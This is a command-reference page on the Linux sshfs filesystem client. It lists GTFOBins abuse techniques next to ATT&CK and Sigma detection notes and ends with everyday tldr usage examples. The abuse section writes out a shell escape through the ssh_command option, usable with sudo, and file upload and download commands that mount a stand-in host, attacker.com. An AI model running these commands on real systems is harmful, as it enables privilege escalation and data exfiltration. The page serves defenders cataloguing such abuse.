CmdID

CmdID / Programs / Linux and Unix

sshfs

Filesystem client based on SSH. tldr-pages

GTFOBins command, shell 1 ATT&CK technique 4 documented commands

Opens CmdID with your command. It is read in your browser and sent nowhere.

How sshfs is abused

documented by GTFOBins

command

-o

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-o

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for sshfs.

4 documented commands

from GTFOBins, each read by CmdID

command unprivileged, with sudo

sshfs -o ssh_command=/path/to/command x: /path/to/dir/
Identify

download unprivileged

sshfs user@attacker.com:/ /path/to/dir/
cp /path/to/dir/path/to/input-file /path/to/output-file
Identify

shell unprivileged, with sudo

The mount dir must be writable by the invoking user.

echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file
chmod +x /path/to/temp-file
sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/
Identify

upload unprivileged

sshfs user@attacker.com:/ /path/to/dir/
cp /path/to/input-file /path/to/dir/
Identify

None of the 4 commands CmdID reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for sshfs. CmdID reads the line of each that runs sshfs.

What detects it

Sigma process creation rules
T1059.004Command and Scripting Interpreter: Unix Shell

Everyday use

from tldr-pages, CC BY 4.0

Mount remote directory

sshfs username@remote_host:remote_directory path/to/mount_pointIdentify

Unmount remote directory

umount path/to/mount_pointIdentify

Mount remote directory from server with specific port

sshfs username@remote_host:remote_directory -p 2222Identify

None of the 3 examples CmdID reads matches GTFOBins abuse or trips a Sigma process-creation rule.